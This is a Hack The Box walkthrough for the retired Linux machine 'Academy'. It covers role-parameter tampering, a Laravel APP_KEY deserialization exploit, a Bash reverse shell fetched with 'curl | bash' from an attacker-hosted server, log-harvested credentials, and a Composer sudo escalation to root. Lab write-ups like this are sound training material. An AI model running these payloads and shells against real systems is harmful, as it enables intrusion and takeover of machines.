Hack The Box · Easy Linux Machine
Academy
| Name | Academy |
|---|---|
| Release date | 7 November 2020 |
| Retire date | 27 February 2021 |
| Operating system | Linux |
| Difficulty | Easy - Retired [0] |
| Rated difficulty |  |
| Radar graph |  |
| First user blood | snowscan — 2 hours, 21 minutes, 4 seconds |
| First root blood | jkr — 2 hours, 47 minutes, 31 seconds |
| Creators | egre55 and mrb3n |
| Workshop PDF | Academy.pdf |
Scan and enumeration
I used AutoRecon rather than a basic Nmap scan. The initial discovery identified SSH on TCP 22, HTTP on TCP 80, and a service on TCP 33060.
python3 ../AutoRecon/src/autorecon/autorecon.py 10.10.10.215
The web server required a hostname entry:
10.10.10.215 academy.htb
Account registration and role manipulation
Reviewing the source showed PHP login and registration endpoints. Burp Suite captured account creation with a controllable roleid=0 parameter.
Gobuster discovered an administrator endpoint:
gobuster dir -u http://academy.htb -w /usr/share/dirb/wordlists/common.txt
/admin.php (Status: 200)
/images (Status: 301)
/index.php (Status: 200)
/server-status (Status: 403)Creating a second user while changing roleid from 0 to 1 granted access to admin.php.
Laravel staging compromise
The administrator page disclosed dev-staging-01.academy.htb. After adding that hostname locally, the staging application exposed Laravel environment information, including the application key.
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=A Laravel 5.x deserialization exploit provided command execution. I used the public exploit_laravel_cve-2018-15133 implementation.
git clone https://github.com/aljavier/exploit_laravel_cve-2018-15133
pip3 install -r requirements.txt
python3 pwn_laravel.py http://dev-staging-01.academy.htb \
dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= --interactiveFrom the low-level shell, I used a hosted Bash reverse-shell payload and a Netcat listener to obtain a usable shell.
echo 'bash -i >& /dev/tcp/10.10.14.4/4444 0>&1' > index.html
sudo python3 -m http.server 80
nc -lvnp 4444
curl http://10.10.14.4 | bashCredential reuse and user access
The production environment disclosed MySQL credentials. Direct database access failed, but the password was reused by the local user cry0l1t3.
The account belonged to the adm group, allowing access to system logs.
Audit logs and privilege escalation
Audit logging captured credentials belonging to mrb3n:
Username: mrb3n
Password: mrb3n_Ac@d3my!
After connecting over SSH as mrb3n, sudo -l showed that Composer could run as root.
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' > "$TF/composer.json"
sudo composer --working-dir="$TF" run-script x